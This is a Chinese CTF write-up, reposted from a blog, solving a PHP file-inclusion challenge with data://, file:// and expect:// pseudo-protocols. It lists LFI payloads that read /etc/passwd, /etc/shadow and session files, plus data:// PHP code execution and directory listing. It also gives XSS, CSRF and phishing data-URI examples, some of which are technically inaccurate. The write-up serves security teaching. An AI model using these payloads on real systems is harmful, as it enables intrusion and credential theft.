[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

分类：PHP作者：秋说

[CTF/网络安全] 攻防世界 Web_php_include 解题详析

在这里插入图片描述

代码审计

这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码，然后通过 $_GET['hello'] 显示 URL 参数中名为 hello 的值。

接下来，代码使用 $_GET['page'] 获取 URL 参数中名为 “page” 的值，并进行字符串替换，将 php:// 替换为空字符串
这是为了防止通过 URL 参数加载本地文件或其他可疑文件以实现攻击。

最后，代码使用 include($page) 加载根据 GET 参数动态指定的文件。

PHP_include

php_include 是 PHP 语言中一个重要的文件包含机制，可以将一个 PHP 文件包含到另一个 PHP 脚本文件中。该机制通常用于代码复用和模块化开发，在不同的 PHP 文件之间实现函数和类等代码的共享。

在 PHP 中，有两种文件包含机制：include 和 require。它们都可以将指定的 PHP 文件包含到当前脚本中，但两者在出错处理和返回值方面稍有不同。具体来说：

  • include：如果包含文件不存在或者出现错误，PHP 会发出警告并继续执行脚本。
  • require：如果包含文件不存在或者出现错误，PHP 会立即停止脚本执行，并抛出致命错误。

此外，还有两个特殊的文件包含机制：include_once 和 require_once。它们可以确保包含文件只被包含一次，避免重复包含和执行。

例子：

<?php
// include.php 文件内容
function add($a, $b) {
    return $a + $b;
}

// index.php 文件内容
include 'include.php'; // 包含 include.php 文件
echo add(2, 3); // 调用包含文件中的函数
?>

在上面的例子中，index.php 文件使用 include 语句包含了 include.php 文件，并调用其中定义的 add 函数，实现了代码的复用。

文件包含漏洞及伪协议Payload

文件包含漏洞（Local File Inclusion，LFI）是一种常见的 web 应用程序漏洞，攻击者利用该漏洞可以读取本地服务器上的敏感文件，或执行任意代码，从而实现对系统的控制。

PHP伪协议

PHP 伪协议是一种特殊的 URI 协议，可以绕过通常的协议限制，直接访问本地文件和执行 PHP 代码。

恶意 PHP 伪协议

以下是一些常见的Payload：

  1. 读取 /etc/passwd 文件，显示系统用户列表
http://example.com/index.php?page=/etc/passwd
  1. 读取 /etc/shadow 文件，尝试破解系统用户密码
http://example.com/index.php?page=/etc/shadow
  1. 读取当前目录下的敏感文件
http://example.com/index.php?page=../../../etc/passwd
  1. 读取 MySQL 配置文件，获取数据库连接信息
http://example.com/index.php?page=/var/www/config.php
  1. 读取 PHP Session 文件，窃取用户会话信息
http://example.com/index.php?page=/var/lib/php/sessions/sess_SESSION_ID
  1. 利用 expect 协议执行任意命令
http://example.com/index.php?page=expect://id
  1. 利用 data 协议读取 base64 编码的文件内容
http://example.com/index.php?page=data:text/plain;base64,PD9waHAgc2V0X3RpbWUoJ2hvc3QnKTsgPz4=

data伪协议

data 伪协议是一种用于内嵌数据的伪协议，它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中，从而减少 HTTP 请求的数量，并提高页面加载速度。data URI 的语法如下：

data:[<mediatype>][;base64],<data>

其中，mediatype 是媒体类型，例如 text/plain、image/jpeg、audio/mpeg 等；如果数据需要进行 base64 编码，则在 media type 后添加 ;base64 标记；data 是实际的数据内容。

例如，下面的代码就是将一张图片内嵌到 HTML 页面中：

<img src="data:image/png;base64,iVBORw0KG..."/>

恶意 data 伪协议

  1. XSS 攻击：

攻击者可以构造如下的 data URI：

data:text/html;<script>alert('恶意脚本')</script>

将其嵌入到 web 页面中：

<iframe src="data:text/html;<script>alert('恶意脚本')</script>"></iframe>

当用户访问页面时，将会弹出一个恶意的弹窗提示框，这可能会窃取用户信息或执行其他恶意行为。

  1. CSRF 攻击：

攻击者可以构造如下的 data URI：

data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>

将其嵌入到 web 页面中：

<img src="data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>" />

当用户访问页面时，将会自动发起一笔转账请求，将 100000 元转账到攻击者指定的账户上。

  1. 钓鱼诈骗：

攻击者可以构造如下的 data URI：

data:text/html;<meta http-equiv=refresh content='0; url=http://example.com/login.html'>

伪装成合法网站，并将其嵌入到欺骗用户的邮件或者社交媒体中。当用户点击链接访问页面时，将会跳转到攻击者指定的网站，可能会泄漏个人隐私信息。

Payload：
Cookie外带
?page=data://text/plain,<script>alert(document.cookie)</script>

ping本地回环地址
?page=data://text/plain,<?php system("ping 127.0.0.1");?>

Base64编码绕过
?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=

在这里插入图片描述

查看PHP info
?page=data://text/plain,<?php echo phpinfo();?>

模板
?page=data://text/plain,恶意代码

file伪协议

file 伪协议用于访问本地文件系统中的文件，可以在 web 页面中链接到本地文件，或者读取本地文件中的数据。file URI 的语法如下：

file://<host>/<path>

其中，host 表示主机名或 IP 地址（可省略），path 表示文件路径（必须以 / 开头）。例如，下面的代码就是链接到本地的 index.html 文件：

<a href="file:///var/www/html/index.html">Click me</a>

恶意 file 伪协议

file 伪协议用于指定本地文件路径，例如：

file:///C:/Users/Desktop/index.html

如果一个 web 页面使用 file 伪协议来加载本地文件，那么攻击者可以通过构造特定的文件路径，来实现一些恶意行为。

  1. 文件包含漏洞：攻击者可以将恶意代码写入到本地文件中，并将其路径构造成 file 伪协议形式，从而实现对 web 应用的攻击。例如，攻击者可以构造如下的路径：
file:///C:/Users/hacker/attack.php?parameter=<script>alert('恶意脚本')</script>
  1. 钓鱼诈骗：攻击者可以将伪装成合法网站的本地文件，例如 login.html，然后使用 file 伪协议来引用该文件，从而欺骗用户输入自己的账户信息。例如，攻击者可以构造如下的路径：
file:///C:/Users/hacker/login.html

然后将该路径作为链接的 href 属性值，发送给用户。

知识点及姿势

由于没有对 $page 变量进行足够的过滤和验证，因此可使用文件包含读取flag
Payload：?page=data://text/plain,<?php echo phpinfo();?>

在这里插入图片描述


由上图可知，data伪协议执行成功。

读取目录路径

  1. $_SERVER['DOCUMENT_ROOT']; 会返回当前运行 PHP 脚本所在的文档根目录（Document Root）的绝对路径。

  2. 使用 $_SERVER['CONTEXT_DOCUMENT_ROOT'] 变量，它返回当前运行 PHP 脚本所在上下文的文档根目录的绝对路径。

  3. 使用 dirname(__FILE__) 函数，该函数返回当前执行的 PHP 脚本所在位置的绝对路径。

  4. 使用 getcwd() 函数，该函数返回当前工作目录的绝对路径。此方法适用于在 PHP 执行期间更改当前工作目录的情况。

需要注意的是，在 PHP 7.0 及以后版本中，不再推荐使用 __FILE__ 常量，而是建议使用 __DIR__ 常量来代替 dirname(__FILE__) 函数。

如果网站根目录是 /var/www/html，则可以使用以下任意一种方式来获取网站根目录路径：

// 方法1
$rootPath = $_SERVER['DOCUMENT_ROOT'];

// 方法2
$rootPath = dirname(__FILE__);

// 方法3
$rootPath = getcwd();

// 方法4
$rootPath = $_SERVER['CONTEXT_DOCUMENT_ROOT'];

dirname(FILE)读取目录路径实例

举例如下：
Payload ?page=data://text/plain,<?php echo dirname(__FILE__);?>

在这里插入图片描述


由上图可知，dirname(FILE)返回了当前执行的 PHP 脚本所在位置的绝对路径text

Payload ?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

在这里插入图片描述


由上图可知，$_SERVER['DOCUMENT_ROOT']; 返回了当前运行 PHP 脚本所在的文档根目录的绝对路径/var/www

读取目录文件

PHP 中一些获取目录下文件和子目录的函数：

  1. scandir('指定目录') 函数将返回指定目录中的所有文件和子目录的数组列表

  2. glob($pattern,$flags)：根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式，支持 * 和 ? 等通配符，例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录，可以使用 * 作为通配符。$flags 参数是一个可选参数，用于设置匹配模式和排序规则等。

  3. scanglob($directory,$pattern)：类似于 glob 函数，但是可以在指定的目录下递归搜索匹配指定模式的文件或目录。$directory 参数是要搜索的目录，$pattern 参数是要匹配的通配符模式。

glob读取目录文件实例

例如，基于代码可以打印输出目录 /var/www 下所有以 .php 结尾的文件列表：

foreach (glob("/var/www/*.php") as $file) {
    echo basename($file) . "\n";
}

基于以上代码构造POC：

?page=data://text/plain,<?php foreach (glob("/var/www/*.php") as $file){echo basename($file) . "\n";}?>

回显如下：

在这里插入图片描述

Payload?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

在这里插入图片描述

由上图，回显fl4gisisish3r3.php

读取文件内容

file_get_contents($filename) 是 PHP 中一个常用的文件操作函数，它可以返回指定文件的内容
Payload：?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo $a; ?>
该Payload正确，但无回显。

猜测fl4gisisish3r3.php中字符串为HTML标签，从而被当作HTML元素来解析和显示
Payload?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>

在这里插入图片描述


如上图，猜测正确。

readfile读取文件内容实例

如果想使用 readfile 函数读取文件并输出到浏览器，但又希望避免浏览器解析 HTML 元素，可以使用 PHP 的 header() 函数来设置响应头，将输出内容的类型设置为纯文本格式。

下面的代码演示如何通过 readfile 函数将文件内容输出到浏览器，并避免 HTML 元素被解析：

<?php
// 设置响应头，将输出内容的类型设置为纯文本格式
header("Content-Type: text/plain");

// 使用 readfile 函数读取文件内容并输出到浏览器
readfile("fl4gisisish3r3.php");
?>

基于以上代码构造POC：?page=data://text/plain,<?php header("Content-Type: text/plain");readfile("fl4gisisish3r3.php");?>

在这里插入图片描述

总结

该题考察文件包含漏洞，涉及PHP伪协议、data伪协议、file伪协议及PHP内置函数等知识点，读者可躬身实践。

我是秋说，我们下次见。

原文地址：https://blog.csdn.net/2301_77485708/article/details/130811882

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。

相关推荐

SourceCodester Online Tours & Travels Management System pay.php sql injection
文章浏览阅读8.4k次，点赞8次，收藏7次。SourceCodester Online Tours & Travels Management System pay.php sql injectionLine 16 of pay.php invokes a SQL query built using unvalidated input. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.SQL
Windows搭建Typecho个人博客并发布公网访问【内网穿透】
文章浏览阅读3.4k次，点赞46次，收藏51次。本文为大家介绍在windwos系统搭建typecho博客+cpolar内网穿透工具将博客发布到公共网络环境,实现远程也可以访问和操作。_windows搭建typecho
php从静态资源到动态内容
文章浏览阅读1.1k次。- php是最优秀, 最原生的模板语言, 替代语法,让php更加的优雅的与html生活在一起 -->请放心, 最终生成的,或者说用户最终看到的,仍然是一个html文档, php代码中的内容不会被泄漏的。-- 将php与html代码混编的时候,大括号很容易造成配对错误,最好杜绝它 -->php标签内部代码由php.exe解释, php标签之外的代码原样输出,仍由web服务器解析。-- 所以php的流程控制语句, 都提供了替代语法,用冒号代替大括号 -->php echo '百变鹏仔'?_利用php将静态页面修改为动态页面
Linux network namespace(网络命名空间)认知
文章浏览阅读1.1k次，点赞18次，收藏15次。整理K8s网络相关笔记博文内容涉及 Linux network namespace 认知以及彼此通信Demo，实际中的应用理解不足小伙伴帮忙指正不必太纠结于当下，也不必太忧虑未来，当你经历过一些事情的时候，眼前的风景已经和从前不一样了。——村上春树。_linux network namespace 多端通信 模式认知
Kubernetes基础(十一)-CNI网络插件用法和对比
文章浏览阅读1.2k次，点赞22次，收藏19次。此网络模型提供了一个逻辑二层（L2）网络，该网络封装在跨 Kubernetes 集群节点的现有三层（L3）网络拓扑上。使用此模型，可以为容器提供一个隔离的 L2 网络，而无需分发路由。封装网络带来了少量的处理开销以及由于覆盖封装生成 IP header 造成的 IP 包大小增加。封装信息由 Kubernetes worker 之间的 UDP 端口分发，交换如何访问 MAC 地址的网络控制平面信息。此类网络模型中常用的封装是 VXLAN、Internet 协议安全性 (IPSec) 和 IP-in-IP。_k8s网络组件对比
黑客技术（网络安全）自学2024
文章浏览阅读1.1k次，点赞14次，收藏19次。当我们谈论网络安全时，我们正在讨论的是保护我们的在线空间，这是我们所有人的共享责任。网络安全涉及保护我们的信息，防止被未经授权的人访问、披露、破坏或修改。
能够ping通某个网站，但是却不能访问
文章浏览阅读1.3w次，点赞3次，收藏7次。尽管您可以通过 ping 命令解析出网站的 IP 地址，但是可能在浏览器中访问时仍然遇到问题，这可能是因为浏览器使用的 DNS 解析结果不同于 ping 命令使用的解析结果。可能是因为您的网络或设备上设置了防火墙，阻止了对特定网站的访问。有些国家或组织可能会对特定的域名进行屏蔽，从而阻止访问相关网站。如果您的网络使用代理服务器进行访问控制，可能会由于代理服务器的配置问题导致无法访问某些网站。即使您的网络和设备一切正常，目标网站本身可能也存在问题，例如服务器故障、维护或过载，导致无法访问。_能ping通打不开网页
java/php/node.js/python基于web的小说浏览系统【2024年毕设】
文章浏览阅读839次，点赞22次，收藏19次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
基于微信小程序奶茶点餐外卖系统设计与实现(PHP后台+Mysql)可行性分析
文章浏览阅读2.1k次，点赞31次，收藏22次。基于微信小程序奶茶点餐外卖系统设计与实现(PHP后台+Mysql)可行性分析毕设源代码毕业设计，数据安全和系统稳定性以及团队能力和资源配备方面都具备较好的条件。因此，该项目的可行性较高。：黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者，CSDN博客专家，在线教育专家，CSDN钻石讲师；微信小程序作为一种快捷、方便的移动应用形式，成为很多用户点餐外卖的首选。项目的界面和功能都可以定制，包安装运行！项目配有对应开发文档、开题报告、任务书、PPT、论文模版等。
PHP+Lucky+Baby母婴用品网站的设计与实现75554-计算机毕业设计项目选题推荐（赠源码）
文章浏览阅读1.8k次，点赞52次，收藏38次。本文主要通过对系统的前台系统和后台管理系统进行了功能性需求分析，对系统的安全性和可扩展性进行了非功能性需求分析。在详细的需求分析的基础上，根据系统的功能设计确定了数据库结构，实现完整的代码编写。Lucky+Baby母婴用品网站使用 Dreamweaver、HBuilder代码编辑器、Apache服务器等开发工具，完成了系统的主要模块的页面设计和功能实现。本文展示了首页页面的实现效果图，并通过代码和页面介绍了用户注册功能、商品搜索功能、生成订单和查看我的订单功能、在线付款功能功能的实现过程。
PHP人事信息管理系统 毕业设计 附源码45934
文章浏览阅读1.5k次，点赞45次，收藏40次。本设计主要实现集人性化、高效率、便捷等优点于一身的人事信息管理系统，完成首页、系统用户、通知公告、部门信息、员工薪资、考勤签到、员工请假、招聘信息、应聘信息等功能模块。
php初学者常见的几个错误及解决方法
文章浏览阅读1k次。该错误通常出现在数据库读取结果集数据时，比如当我们写好SQL语句从数据库读取数据时，本身应该返回结果集，再给结果集中读取数据。解决思路：这种错误一般是因为echo后面输出了一个数组导致的，或者是数组作为字符串进行拼接运算时导致的。该错误直译为：警告：mysqli_fetch_assoc函数期望参数1是mysqli的结果集，但是给了一个布尔值。这种错误是PHP解析器在解析时遇到了语法错误，直译为：解析错误:语法错误，意料之外的...该错误直译为：提示：未定义的索引：username。_array to string conversion in
http请求报错context deadline exceeded (Client.Timeout exceeded while awaiting headers)
文章浏览阅读2.7w次。解决http请求报错context deadline exceeded (Client.Timeout exceeded while awaiting headers)_context deadline exceeded (client.timeout exceeded while awaiting headers)
【复杂网络建模】——基于代理的社会网络建模（Agent-Based Modeling，ABM）[Python实现]
文章浏览阅读1.3k次，点赞26次，收藏24次。复杂网络是一种由大量相互连接的元素（节点或顶点）组成的网络结构，这些连接通常是非常复杂和动态的。这些网络可以在各种领域中发现，包括社交网络、生物学系统、信息技术和交通系统等。_代理建模
【文末送书】计算机网络编程 | epoll详解
文章浏览阅读2.6k次，点赞76次，收藏71次。epoll详解，事件模型，ET/LT模式，并通过三个示例进行代码实现。
如何检查代理和防火墙设置
文章浏览阅读3.3k次。罗拉ROLA-IP是一家来自纽约的代理IP提供商，由李嘉诚先生投资建设，韩国人工智能、自动驾驶、虚拟现实方面的领军企业World IT Show投资入股，由美国纽约大学IT管理教授团队研究开发，进入中国市场6年多，全世界设有多个分子公司。接下来，我们要检查代理和防火墙的设置，因为在绝大多数情况下，它们是导致这个错误的原因，尤其是当用户使用免费代理时。对网站的访问受阻实际上是一个非常常见的错误，它既可能是由于物理原因（硬件问题）造成的，也可能是由于软件错误引起的。检查代理设置，并确保其正确配置。_无法访问此网站,检查代理服务器和防火墙
java/php/node.js/python预约上门洗车系统【2024年毕设】
文章浏览阅读1.1k次，点赞14次，收藏20次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。_php洗车服务预约管理系统php源码
分别用JavaScript，Java，PHP，C++实现桶排序的算法（附带源码）
文章浏览阅读1.1k次。桶排序是计数排序的升级版。它利用了函数的映射关系，高效与否的关键就在于这个映射函数的确定。同时，对于桶中元素的排序，选择何种比较排序算法对于性能的影响至关重要。
java/php/node.js/python基于Java宠物寄存管理系统【2024年毕设】
文章浏览阅读936次，点赞22次，收藏17次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
java/php/node.js/python闽科社团活动助手APP的设计与实现【2024年毕设】
文章浏览阅读822次，点赞15次，收藏14次。在整个设计过程中，要确定可能的具体解决方案，以实现每一个小的最终目标，对于每一个小目标，我们首先必须了解一些相关的需求分析信息。除了以上作品下面是2023-2024年最新100套计算机专业原创的毕业设计源码+数据库，是近期作品，如果你的题目刚好在下面可以文末领取java源码参考。springboot基于springboot的在线考试系统。springboot基于springboot的商城购物系统。springboot基于微信小程序的智慧校园设计与实现。springboot基于用户的协同过滤算法的话题推荐。
pythonJavaScriptjavaHTMLPHPreactjsC#AndroidCSSNode.jssqlrpython-3.xMysqLjQueryc++pandasFlutterangularIOSdjangolinuxswifttypescript路由器JSON路由器设置无线路由器h3c华三华三路由器设置华三路由器电脑软件教程arraysdocker软件图文教程Cvue.jslaravelspring-boot